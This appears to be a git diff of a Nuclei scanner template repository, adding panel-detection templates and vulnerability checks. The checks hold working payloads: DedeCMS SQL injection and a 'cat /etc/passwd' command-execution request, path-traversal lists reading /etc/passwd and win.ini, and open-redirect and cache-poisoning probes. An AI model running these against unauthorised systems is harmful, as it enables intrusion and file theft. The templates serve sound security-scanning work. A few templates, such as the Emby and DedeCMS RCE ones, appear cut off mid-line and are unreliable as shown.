https://www.exploit-db.com/ghdb/6784 - tags: panel,dlink,router + tags: dlink,router,edb,panel requests: - method: GET diff --git a/exposed-panels/dell-openmanager-login.yaml b/exposed-panels/dell-openmanager-login.yaml index 0f686806d6..37aadf6d84 100644 --- a/exposed-panels/dell-openmanager-login.yaml +++ b/exposed-panels/dell-openmanager-login.yaml @@ -4,8 +4,8 @@ info: name: Dell OpenManage Switch Administrator author: dhiyaneshDK severity: info - reference: - - https://www.shodan.io/search?query=html%3A%22Dell+OpenManage+Switch+Administrator%22 + metadata: + shodan-query: html:"Dell OpenManage Switch Administrator" tags: panel,dell requests: diff --git a/exposed-panels/deos-open500-admin.yaml b/exposed-panels/deos-open500-admin.yaml new file mode 100644 index 0000000000..5812fcd906 --- /dev/null +++ b/exposed-panels/deos-open500-admin.yaml @@ -0,0 +1,37 @@ +id: deos-open500ems-panel + +info: + name: DEOS OPEN 500EMS Controller Admin Program Access + author: sullo + severity: high + description: | + The DEOS OPEN 500EMS controller exposes administrative functions without authentication. + reference: + - https://www.deos-ag.com/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N + cvss-score: 8.6 + cwe-id: CWE-284 + tags: openv500,disclosure,panel + +requests: + - method: GET + path: + - "{{BaseURL}}/cgi-bin/cosmobdf.cgi?function=0" + - "{{BaseURL}}/cgi-bin/cosmobdf.cgi?function=1" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + part: body + words: + - 'OPENview' + - '/cgi-bin/cosmobdf.cgi?function=12' + - '/cgi-bin/cosmobdf.cgi?function=2' + condition: or + +# Enhanced by cs on 2022/07/22 diff --git a/exposed-panels/deos-openview-admin.yaml b/exposed-panels/deos-openview-admin.yaml new file mode 100644 index 0000000000..182396fc83 --- /dev/null +++ b/exposed-panels/deos-openview-admin.yaml @@ -0,0 +1,31 @@ +id: deos-openview-panel + +info: + name: DEOS OPENview Admin Panel Unauthenticated Access + author: sullo + severity: high + description: The DEOS OPENview administrative panel is accessible without authentication. + reference: https://www.deos-ag.com/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N + cvss-score: 8.6 + cwe-id: CWE-284 + tags: openview,disclosure,panel + +requests: + - method: GET + path: + - "{{BaseURL}}/client/index.html" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + part: body + words: + - 'OPENview' + +# Enhanced by cs on 2022/07/22 diff --git a/exposed-panels/dericam-login.yaml b/exposed-panels/dericam-login.yaml index 5170789158..42e8a962e0 100644 --- a/exposed-panels/dericam-login.yaml +++ b/exposed-panels/dericam-login.yaml @@ -8,7 +8,7 @@ info: - https://www.exploit-db.com/ghdb/7354 metadata: shodan-query: http.title:"Dericam" - tags: panel,dericam + tags: panel,dericam,edb requests: - method: GET diff --git a/exposed-panels/docebo-elearning-panel.yaml b/exposed-panels/docebo-elearning-panel.yaml new file mode 100644 index 0000000000..1e0c7a6814 --- /dev/null +++ b/exposed-panels/docebo-elearning-panel.yaml @@ -0,0 +1,26 @@ +id: docebo-elearning-panel + +info: + name: Docebo E-learning Login Panel + author: pikpikcu + severity: info + metadata: + verified: true + fofa-query: title="Docebo E-learning" + tags: panel,docebo + +requests: + - method: GET + path: + - "{{BaseURL}}" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "Docebo E-learning" + + - type: status + status: + - 200 diff --git a/exposed-panels/drawio-flowchartmaker-panel.yaml b/exposed-panels/drawio-flowchartmaker-panel.yaml new file mode 100644 index 0000000000..ca869a7189 --- /dev/null +++ b/exposed-panels/drawio-flowchartmaker-panel.yaml @@ -0,0 +1,29 @@ +id: drawio-flowchartmaker-panel + +info: + name: Draw.io Flowchart Maker Panel + author: princechaddha + severity: info + reference: + - https://github.com/jgraph/drawio + metadata: + verified: true + shodan-query: http.title:"Flowchart Maker" + tags: panel,drawio,oss + +requests: + - method: GET + path: + - "{{BaseURL}}" + + matchers-condition: and + matchers: + + - type: word + part: body + words: + - "Flowchart Maker & Online Diagram Software" + + - type: status + status: + - 200 diff --git a/exposed-panels/drupal-login.yaml b/exposed-panels/drupal-login.yaml index d36180c3a9..a55e1520c9 100644 --- a/exposed-panels/drupal-login.yaml +++ b/exposed-panels/drupal-login.yaml @@ -4,6 +4,8 @@ info: name: Drupal login author: pathtaga severity: info + metadata: + shodan-query: http.component:"drupal" tags: panel,drupal requests: diff --git a/exposed-panels/dzzoffice/dzzoffice-install.yaml b/exposed-panels/dzzoffice/dzzoffice-install.yaml new file mode 100644 index 0000000000..056429d268 --- /dev/null +++ b/exposed-panels/dzzoffice/dzzoffice-install.yaml @@ -0,0 +1,34 @@ +id: dzzoffice-install + +info: + name: DzzOffice Exposed Installation + author: ritikchaddha + severity: high + metadata: + verified: true + shodan-query: http.favicon.hash:-1961736892 + fofa-query: title="dzzoffice" + tags: dzzoffice,install + +requests: + - method: GET + path: + - "{{BaseURL}}/install/index.php" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'DzzOffice' + + - type: word + part: body + words: + - '็ฎ€ไฝ“ไธญๆ–‡ UTF8 ็‰ˆ' + - 'Simplified Chinese UTF8 version' + condition: or + + - type: status + status: + - 200 diff --git a/exposed-panels/dzzoffice/dzzoffice-panel.yaml b/exposed-panels/dzzoffice/dzzoffice-panel.yaml new file mode 100644 index 0000000000..8260da90b2 --- /dev/null +++ b/exposed-panels/dzzoffice/dzzoffice-panel.yaml @@ -0,0 +1,34 @@ +id: dzzoffice-panel + +info: + name: DzzOffice Panel Detect + author: ritikchaddha + severity: info + metadata: + verified: true + shodan-query: http.favicon.hash:-1961736892 + tags: dzzoffice,panel + +requests: + - method: GET + path: + - "{{BaseURL}}" + - "{{BaseURL}}/index.php" + - "{{BaseURL}}/user.php?mod=login" + + stop-at-first-match: true + redirects: true + max-redirects: 2 + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'content="DzzOffice' + - 'DZZSCRIPT' + - "dzzoffice.com" + condition: or + + - type: status + status: + - 200 diff --git a/exposed-panels/e-mobile-panel.yaml b/exposed-panels/e-mobile-panel.yaml new file mode 100644 index 0000000000..ad9ab67ae1 --- /dev/null +++ b/exposed-panels/e-mobile-panel.yaml @@ -0,0 +1,38 @@ +id: e-mobile-panel + +info: + name: E-mobile Panel Detect + author: ritikchaddha + severity: info + metadata: + verified: true + shodan-query: http.html:"E-Mobile " + tags: panel,e-mobile + +requests: + - method: GET + path: + - "{{BaseURL}}/login.do?" + - "{{BaseURL}}/login/login.do?" + - "{{BaseURL}}/manager/login.do?" + + stop-at-first-match: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - "E-Mobile " + - "Weaver E-Mobile" + condition: or + + - type: status + status: + - 200 + + extractors: + - type: regex + part: body + group: 1 + regex: + - 'E-Mobile ([0-9.]+)' diff --git a/exposed-panels/eMerge-panel.yaml b/exposed-panels/eMerge-panel.yaml new file mode 100644 index 0000000000..1303b78121 --- /dev/null +++ b/exposed-panels/eMerge-panel.yaml @@ -0,0 +1,28 @@ +id: eMerge-panel + +info: + name: Nortek Linear eMerge - Panel Detect + author: arafatansari + severity: info + metadata: + verified: true + shodan-query: http.title:"eMerge" + tags: panel,emerge,nortek + +requests: + - method: GET + path: + - "{{BaseURL}}" + + matchers-condition: and + matchers: + - type: regex + part: body + regex: + - '(.*)Linear eMerge(.*)' + - '/emerge.ico' + condition: or + + - type: status + status: + - 200 diff --git a/exposed-panels/emby-panel.yaml b/exposed-panels/emby-panel.yaml new file mode 100644 index 0000000000..6327da58bb --- /dev/null +++ b/exposed-panels/emby-panel.yaml @@ -0,0 +1,40 @@ +id: emby-panel + +info: + name: Emby Login Panel + author: idealphase + severity: info + description: | + Emby Server is a personal media server with apps on just about every device. + reference: + - https://github.com/MediaBrowser/Emby + - https://emby.media/ + metadata: + verified: true + shodan-query: http.title:"emby" + tags: panel,emby,oss + +requests: + - method: GET + path: + - "{{BaseURL}}" + + redirects: true + max-redirects: 2 + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'Emby' + + - type: status + status: + - 200 + + extractors: + - type: regex + part: body + group: 1 + regex: + - '" + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/vulnerabilities/other/dedecms-membergroup-sqli.yaml b/vulnerabilities/dedecms/dedecms-membergroup-sqli.yaml similarity index 77% rename from vulnerabilities/other/dedecms-membergroup-sqli.yaml rename to vulnerabilities/dedecms/dedecms-membergroup-sqli.yaml index 6ab43810d6..8d1d63d199 100644 --- a/vulnerabilities/other/dedecms-membergroup-sqli.yaml +++ b/vulnerabilities/dedecms/dedecms-membergroup-sqli.yaml @@ -7,19 +7,24 @@ info: description: A vulnerability in the DedeCMS product allows remote unauthenticated users to inject arbitrary SQL statements via the 'ajax_membergroup.php' endpoint and the 'membergroup' parameter. reference: - http://www.dedeyuan.com/xueyuan/wenti/1244.html + metadata: + shodan-query: http.html:"DedeCms" tags: sqli,dedecms +variables: + num: "999999999" + requests: - method: GET path: - - "{{BaseURL}}/member/ajax_membergroup.php?action=post&membergroup=@`'`/*!50000Union+*/+/*!50000select+*/+md5(999999)+--+@`'`" + - "{{BaseURL}}/member/ajax_membergroup.php?action=post&membergroup=@`'`/*!50000Union+*/+/*!50000select+*/+md5({{num}})+--+@`'`" matchers-condition: and matchers: - type: word words: - - "52c69e3a57331081823331c4e69d3f2e" + - '{{md5({{num}})}}' part: body - type: status diff --git a/vulnerabilities/other/dedecms-openredirect.yaml b/vulnerabilities/dedecms/dedecms-openredirect.yaml similarity index 79% rename from vulnerabilities/other/dedecms-openredirect.yaml rename to vulnerabilities/dedecms/dedecms-openredirect.yaml index 689d98efa2..f240d95c4d 100644 --- a/vulnerabilities/other/dedecms-openredirect.yaml +++ b/vulnerabilities/dedecms/dedecms-openredirect.yaml @@ -14,13 +14,13 @@ info: requests: - method: GET path: - - "{{BaseURL}}/plus/download.php?open=1&link=aHR0cHM6Ly9ldmlsLmNvbQo=" + - "{{BaseURL}}/plus/download.php?open=1&link=aHR0cHM6Ly9pbnRlcmFjdC5zaA==" matchers-condition: and matchers: - type: word words: - - "Location: https://evil.com" + - "Location: https://interact.sh" part: header - type: status diff --git a/vulnerabilities/dedecms/dedecms-rce.yaml b/vulnerabilities/dedecms/dedecms-rce.yaml new file mode 100644 index 0000000000..5a6860a55f --- /dev/null +++ b/vulnerabilities/dedecms/dedecms-rce.yaml @@ -0,0 +1,32 @@ +id: dedecms-rce + +info: + name: DedeCMS v5.8.1-beta - Remote Code Execution + author: ritikchaddha + severity: critical + description: | + The vulnerability is due to a variable override vulnerability in DedeCMS that allows an attacker to construct malicious code with template file inclusion without authorization to cause remote command execution attacks and ultimately gain the highest privileges on the server. + reference: + - https://srcincite.io/blog/2021/09/30/chasing-a-dream-pwning-the-biggest-cms-in-china.html + - https://sectime.top/post/1d114771.html + metadata: + verified: true + fofa-query: app="DedeCMS" + tags: dedecms,cms,rce + +requests: + - raw: + - | + GET /plus/flink.php?dopost=save&c=cat%20/etc/passwd HTTP/1.1 + Host: {{Hostname}} + Referer: " + + - type: word + part: header + words: + - "text/html" + + - type: status + status: + - 200 diff --git a/vulnerabilities/fastjson/fastjson-1-2-24-rce.yaml b/vulnerabilities/fastjson/fastjson-1-2-24-rce.yaml index 9a4ba92243..a7d06b2a33 100644 --- a/vulnerabilities/fastjson/fastjson-1-2-24-rce.yaml +++ b/vulnerabilities/fastjson/fastjson-1-2-24-rce.yaml @@ -1,14 +1,19 @@ id: fastjson-1-2-24-rce info: - name: Fastjson 1.2.24 Deserialization RCE + name: Fastjson 1.2.24 - Remote Code Execution author: zh severity: critical + description: Fastjson 1.2.24 is susceptible to a deserialization remote code execution vulnerability. reference: - https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.24-rce - https://www.freebuf.com/vuls/208339.html - https://github.com/wyzxxz/fastjson_rce_tool - tags: fastjson,rce,deserialization,oast + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 + tags: fastjson,rce,deserialization,oast,vulhub requests: - raw: @@ -48,4 +53,6 @@ requests: condition: and words: - "Internal Server Error" - - "500" \ No newline at end of file + - "500" + +# Enhanced by mp on 2022/05/25 diff --git a/vulnerabilities/fastjson/fastjson-1-2-41-rce.yaml b/vulnerabilities/fastjson/fastjson-1-2-41-rce.yaml index 3564ca14eb..6dec46c05e 100644 --- a/vulnerabilities/fastjson/fastjson-1-2-41-rce.yaml +++ b/vulnerabilities/fastjson/fastjson-1-2-41-rce.yaml @@ -1,12 +1,17 @@ id: fastjson-1-2-41-rce info: - name: Fastjson 1.2.41 Deserialization RCE + name: Fastjson 1.2.41 - Remote Code Execution author: zh severity: critical + description: Fastjson 1.2.41 is susceptible to a deserialization remote code execution vulnerability. reference: - https://github.com/tdtc7/qps/tree/4042cf76a969ccded5b30f0669f67c9e58d1cfd2/Fastjson - https://github.com/wyzxxz/fastjson_rce_tool + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 tags: fastjson,rce,deserialization,oast requests: @@ -32,4 +37,6 @@ requests: - type: status negative: true status: - - 200 \ No newline at end of file + - 200 + +# Enhanced by mp on 2022/05/25 diff --git a/vulnerabilities/fastjson/fastjson-1-2-42-rce.yaml b/vulnerabilities/fastjson/fastjson-1-2-42-rce.yaml index 6ea56f483d..7bd98233dd 100644 --- a/vulnerabilities/fastjson/fastjson-1-2-42-rce.yaml +++ b/vulnerabilities/fastjson/fastjson-1-2-42-rce.yaml @@ -1,12 +1,17 @@ id: fastjson-1-2-42-rce info: - name: Fastjson 1.2.42 Deserialization RCE + name: Fastjson 1.2.42 - Remote Code Execution author: zh severity: critical + description: Fastjson 1.2.42 is susceptible to a deserialization remote code execution vulnerability reference: - https://github.com/tdtc7/qps/tree/4042cf76a969ccded5b30f0669f67c9e58d1cfd2/Fastjson - https://github.com/wyzxxz/fastjson_rce_tool + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 tags: fastjson,rce,deserialization,oast requests: @@ -32,4 +37,6 @@ requests: - type: status negative: true status: - - 200 \ No newline at end of file + - 200 + +# Enhanced by mp on 2022/05/25 diff --git a/vulnerabilities/fastjson/fastjson-1-2-43-rce.yaml b/vulnerabilities/fastjson/fastjson-1-2-43-rce.yaml index 4a30340ea2..d2e5c7f82d 100644 --- a/vulnerabilities/fastjson/fastjson-1-2-43-rce.yaml +++ b/vulnerabilities/fastjson/fastjson-1-2-43-rce.yaml @@ -1,12 +1,17 @@ id: fastjson-1-2-43-rce info: - name: Fastjson 1.2.43 Deserialization RCE + name: Fastjson 1.2.43 - Remote Code Execution author: zh severity: critical + description: Fastjson 1.2.43 is susceptible to a deserialization remote code execution vulnerability. reference: - https://github.com/tdtc7/qps/tree/4042cf76a969ccded5b30f0669f67c9e58d1cfd2/Fastjson - https://github.com/wyzxxz/fastjson_rce_tool + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 tags: fastjson,rce,deserialization,oast requests: @@ -32,4 +37,6 @@ requests: - type: status negative: true status: - - 200 \ No newline at end of file + - 200 + +# Enhanced by mp on 2022/05/25 diff --git a/vulnerabilities/fastjson/fastjson-1-2-47-rce.yaml b/vulnerabilities/fastjson/fastjson-1-2-47-rce.yaml index 3336b0ec72..baffecd9c4 100644 --- a/vulnerabilities/fastjson/fastjson-1-2-47-rce.yaml +++ b/vulnerabilities/fastjson/fastjson-1-2-47-rce.yaml @@ -1,15 +1,20 @@ id: fastjson-1-2-47-rce info: - name: Fastjson 1.2.47 Deserialization RCE + name: Fastjson 1.2.47 - Remote Code Execution author: zh severity: critical + description: Fastjson 1.2.47 is susceptible to a deserialization remote code execution vulnerability. reference: - https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.47-rce - https://www.freebuf.com/vuls/208339.html - https://cert.360.cn/warning/detail?id=7240aeab581c6dc2c9c5350756079955 - https://github.com/wyzxxz/fastjson_rce_tool - tags: fastjson,rce,deserialization,oast + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 + tags: rce,deserialization,oast,vulhub,fastjson requests: - raw: @@ -41,4 +46,6 @@ requests: condition: and words: - "Bad Request" - - "400" \ No newline at end of file + - "400" + +# Enhanced by mp on 2022/05/25 diff --git a/vulnerabilities/fastjson/fastjson-1-2-62-rce.yaml b/vulnerabilities/fastjson/fastjson-1-2-62-rce.yaml index 7f16ccb998..eace2468e2 100644 --- a/vulnerabilities/fastjson/fastjson-1-2-62-rce.yaml +++ b/vulnerabilities/fastjson/fastjson-1-2-62-rce.yaml @@ -1,12 +1,17 @@ id: fastjson-1-2-62-rce info: - name: Fastjson 1.2.62 Deserialization RCE + name: Fastjson 1.2.62 - Remote Code Execution author: zh severity: critical + description: Fastjson 1.2.62 is susceptible to a deserialization remote code execution vulnerability. reference: - https://github.com/tdtc7/qps/tree/4042cf76a969ccded5b30f0669f67c9e58d1cfd2/Fastjson - https://github.com/wyzxxz/fastjson_rce_tool + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 tags: fastjson,rce,deserialization,oast requests: @@ -31,4 +36,6 @@ requests: - type: status negative: true status: - - 200 \ No newline at end of file + - 200 + +# Enhanced by mp on 2022/05/25 diff --git a/vulnerabilities/fastjson/fastjson-1-2-67-rce.yaml b/vulnerabilities/fastjson/fastjson-1-2-67-rce.yaml index 0720680d36..c23c812aad 100644 --- a/vulnerabilities/fastjson/fastjson-1-2-67-rce.yaml +++ b/vulnerabilities/fastjson/fastjson-1-2-67-rce.yaml @@ -1,12 +1,17 @@ id: fastjson-1-2-67-rce info: - name: Fastjson 1.2.67 Deserialization RCE + name: Fastjson 1.2.67 - Remote Code Execution author: zh severity: critical + description: Fastjson 1.2.67 is susceptible to a remote code execution vulnerability. reference: - https://github.com/tdtc7/qps/tree/4042cf76a969ccded5b30f0669f67c9e58d1cfd2/Fastjson - https://github.com/wyzxxz/fastjson_rce_tool + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 tags: fastjson,rce,deserialization,oast requests: @@ -34,4 +39,6 @@ requests: - type: status negative: true status: - - 200 \ No newline at end of file + - 200 + +# Enhanced by mp on 2022/05/25 diff --git a/vulnerabilities/fastjson/fastjson-1-2-68-rce.yaml b/vulnerabilities/fastjson/fastjson-1-2-68-rce.yaml index 0779215459..bcbb4282fe 100644 --- a/vulnerabilities/fastjson/fastjson-1-2-68-rce.yaml +++ b/vulnerabilities/fastjson/fastjson-1-2-68-rce.yaml @@ -1,12 +1,18 @@ id: fastjson-1-2-68-rce info: - name: Fastjson 1.2.68 Deserialization RCE + name: Fastjson 1.2.68 - Remote Code Execution author: zh severity: critical + description: | + Fastjson 1.2.68 is susceptible to a deserialization remote code execution vulnerability. reference: - https://github.com/tdtc7/qps/tree/4042cf76a969ccded5b30f0669f67c9e58d1cfd2/Fastjson - https://github.com/wyzxxz/fastjson_rce_tool + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 tags: fastjson,rce,deserialization,oast requests: @@ -52,4 +58,6 @@ requests: - type: status negative: true status: - - 200 \ No newline at end of file + - 200 + +# Enhanced by mp on 2022/05/25 diff --git a/vulnerabilities/generic/cache-poisoning.yaml b/vulnerabilities/generic/cache-poisoning.yaml index 1ac1d781c6..88f4e1af9f 100644 --- a/vulnerabilities/generic/cache-poisoning.yaml +++ b/vulnerabilities/generic/cache-poisoning.yaml @@ -2,7 +2,7 @@ id: cache-poisoning info: name: Cache Poisoning - author: melbadry9,xelkomy,akincibor + author: melbadry9,xelkomy,akincibor,dogasantos severity: low reference: - https://blog.melbadry9.xyz/fuzzing/nuclei-cache-poisoning @@ -13,9 +13,9 @@ requests: - raw: - | GET /?{{randstr}}=9 HTTP/1.1 - X-Forwarded-Prefix: cache.example.com - X-Forwarded-Host: cache.example.com - X-Forwarded-For: cache.example.com + X-Forwarded-Prefix: prefix.cache.interact.sh + X-Forwarded-Host: host.cache.interact.sh + X-Forwarded-For: for.cache.interact.sh - | GET /?{{randstr}}=9 HTTP/1.1 @@ -24,4 +24,10 @@ requests: matchers: - type: dsl dsl: - - 'contains(body_2, "cache.example.com")' + - 'contains(body_2, "cache.interact.sh")' + + extractors: + - type: regex + part: response + regex: + - "(prefix|host|for).cache.interact.sh" diff --git a/vulnerabilities/generic/cors-misconfig.yaml b/vulnerabilities/generic/cors-misconfig.yaml index 0c21683c10..ba439bb09a 100644 --- a/vulnerabilities/generic/cors-misconfig.yaml +++ b/vulnerabilities/generic/cors-misconfig.yaml @@ -16,6 +16,10 @@ requests: GET / HTTP/1.1 Host: {{Hostname}} Origin: {{cors_origin}} + - | + GET {{path}} HTTP/1.1 + Host: {{Hostname}} + Origin: {{cors_origin}} payloads: cors_origin: @@ -37,4 +41,4 @@ requests: dsl: - "contains(tolower(all_headers), 'access-control-allow-origin: {{cors_origin}}')" - "contains(tolower(all_headers), 'access-control-allow-credentials: true')" - condition: and \ No newline at end of file + condition: and diff --git a/vulnerabilities/generic/crlf-injection.yaml b/vulnerabilities/generic/crlf-injection.yaml index 2fe6563ca0..4c0078ec88 100644 --- a/vulnerabilities/generic/crlf-injection.yaml +++ b/vulnerabilities/generic/crlf-injection.yaml @@ -1,10 +1,10 @@ id: crlf-injection info: - name: CRLF injection + name: CRLF - Injection Detection author: melbadry9,nadino,xElkomy severity: low - description: Improper sanitization of CRLF sequences. + description: CRLF sequences were not properly sanitized. tags: crlf,generic requests: @@ -25,3 +25,5 @@ requests: regex: - '(?m)^(?:Set-Cookie\s*?:(?:\s*?|.*?;\s*?))(crlfinjection=crlfinjection)(?:\s*?)(?:$|;)' part: header + +# Enhanced by mp on 2022/07/22 diff --git a/vulnerabilities/generic/generic-j2ee-lfi.yaml b/vulnerabilities/generic/generic-j2ee-lfi.yaml new file mode 100644 index 0000000000..d37c840343 --- /dev/null +++ b/vulnerabilities/generic/generic-j2ee-lfi.yaml @@ -0,0 +1,45 @@ +id: generic-j2ee-lfi + +info: + name: Generic J2EE LFI scan + author: davidfegyver + severity: high + description: Looks for J2EE specific LFI vulnerabilities, tries to leak the web.xml file. + reference: + - https://github.com/ilmila/J2EEScan/blob/master/src/main/java/burp/j2ee/issues/impl/LFIModule.java + - https://gist.github.com/harisec/519dc6b45c6b594908c37d9ac19edbc3 + metadata: + verified: true + shodan-query: http.title:"J2EE" + tags: lfi,generic,j2ee + +requests: + - method: GET + path: + - "{{BaseURL}}/../../../../WEB-INF/web.xml" + - "{{BaseURL}}/../../../WEB-INF/web.xml" + - "{{BaseURL}}/../../WEB-INF/web.xml" + - "{{BaseURL}}/%c0%ae/%c0%ae/WEB-INF/web.xml" + - "{{BaseURL}}/%c0%ae/%c0%ae/%c0%ae/WEB-INF/web.xml" + - "{{BaseURL}}/%c0%ae/%c0%ae/%c0%ae/%c0%ae/WEB-INF/web.xml" + - "{{BaseURL}}/../../../WEB-INF/web.xml;x=" + - "{{BaseURL}}/../../WEB-INF/web.xml;x=" + - "{{BaseURL}}/../WEB-INF/web.xml;x=" + - "{{BaseURL}}/WEB-INF/web.xml" + - "{{BaseURL}}/.//WEB-INF/web.xml" + - "{{BaseURL}}/../WEB-INF/web.xml" + - "{{BaseURL}}/%c0%ae/WEB-INF/web.xml" + + stop-at-first-match: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - "" + - "" + condition: and + + - type: status + status: + - 200 \ No newline at end of file diff --git a/vulnerabilities/generic/generic-linux-lfi.yaml b/vulnerabilities/generic/generic-linux-lfi.yaml index a1860993d6..e028f11a9e 100644 --- a/vulnerabilities/generic/generic-linux-lfi.yaml +++ b/vulnerabilities/generic/generic-linux-lfi.yaml @@ -1,10 +1,15 @@ id: generic-linux-lfi info: - name: Generic Linux based LFI Test - author: geeknik,unstabl3,pentest_swissky,sushantkamble,0xSmiley + name: Generic Linux - Local File Inclusion + author: geeknik,unstabl3,pentest_swissky,sushantkamble,0xSmiley,DhiyaneshDK severity: high - description: Searches for /etc/passwd on passed URLs + description: Generic Linux is subject to local file Inclusion on searches for /etc/passwd on passed URLs. + reference: https://github.com/imhunterand/ApachSAL/blob/main/assets/exploits.json + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: linux,lfi,generic requests: @@ -33,6 +38,15 @@ requests: - "{{BaseURL}}/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd" - "{{BaseURL}}/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/etc/passwd" - "{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" + - "{{BaseURL}}/..///////..////..//////etc/passwd" + - "{{BaseURL}}/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd" + - "{{BaseURL}}/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd" + - "{{BaseURL}}/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00" + - "{{BaseURL}}/index.php?page=etc/passwd" + - "{{BaseURL}}/index.php?page=etc/passwd%00" + - "{{BaseURL}}/index.php?page=../../etc/passwd" + - "{{BaseURL}}/index.php?page=....//....//etc/passwd" + - "{{BaseURL}}/../../../../../../../../../etc/passwd" stop-at-first-match: true matchers: @@ -40,3 +54,5 @@ requests: regex: - "root:.*:0:0:" part: body + +# Enhanced by mp on 2022/07/22 diff --git a/vulnerabilities/generic/generic-windows-lfi.yaml b/vulnerabilities/generic/generic-windows-lfi.yaml index 5297d77088..9e5ad66a36 100644 --- a/vulnerabilities/generic/generic-windows-lfi.yaml +++ b/vulnerabilities/generic/generic-windows-lfi.yaml @@ -1,10 +1,15 @@ id: generic-windows-lfi info: - name: Generic Windows based LFI Test - author: mesaglio,sushantkamble + name: Windows - Local File Inclusion + author: mesaglio,sushantkamble,ritikchaddha severity: high - description: Searches for /windows/win.ini on passed URLs + description: | + Windows is vulnerable to local file inclusion because of searches for /windows/win.ini on passed URLs. + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: azure,windows,lfi,generic requests: @@ -20,13 +25,27 @@ requests: - "{{BaseURL}}/?redirect=..%2f..%2f..%2f..%2fwindows/win.ini" - "{{BaseURL}}/?page=..%2f..%2f..%2f..%2f..%2fwindows/win.ini" - "{{BaseURL}}/?url=..%2f..%2f..%2f..%2f..%2f..%2fwindows/win.ini" + - "{{BaseURL}}/..///////..////..//////windows/win.ini" + - "{{BaseURL}}/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../windows/win.ini" + - "{{BaseURL}}/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini" + - "{{BaseURL}}/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini%00" + - "{{BaseURL}}/index.php?page=windows/win.ini" + - "{{BaseURL}}/index.php?page=windows/win.ini%00" + - "{{BaseURL}}/index.php?page=../../windows/win.ini" + - "{{BaseURL}}/index.php?page=....//....//windows/win.ini" + - "{{BaseURL}}/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/windows/win.ini" + - "{{BaseURL}}/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/windows/win.ini" + - "{{BaseURL}}/../../../../../../../../../windows/win.ini" + - "{{BaseURL}}/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini" stop-at-first-match: true matchers: - type: word + part: body words: - "bit app support" - "fonts" - "extensions" condition: and - part: body + +# Enhanced by mp on 2022/07/22 diff --git a/vulnerabilities/generic/open-redirect.yaml b/vulnerabilities/generic/open-redirect.yaml index 2598c937eb..9882c469e4 100644 --- a/vulnerabilities/generic/open-redirect.yaml +++ b/vulnerabilities/generic/open-redirect.yaml @@ -15,94 +15,95 @@ requests: payloads: redirect: - - '%0a/example.com/' - - '%0d/example.com/' - - '%00/example.com/' - - '%09/example.com/' - - '%5C%5Cexample.com/%252e%252e%252f' - - '%5Cexample.com' - - '%5cexample.com/%2f%2e%2e' - - '%5c{{RootURL}}example.com/%2f%2e%2e' - - '../example.com' - - '.example.com' - - '/%5cexample.com' - - '////\;@example.com' - - '////example.com' - - '///example.com' - - '///example.com/%2f%2e%2e' - - '///example.com@//' - - '///{{RootURL}}example.com/%2f%2e%2e' - - '//;@example.com' - - '//\/example.com/' - - '//\@example.com' - - '//\example.com' - - '//\texample.com/' - - '//example.com/%2F..' - - '//example.com//' - - '//example.com@//' - - '//example.com\texample.com/' - - '//https://example.com@//' - 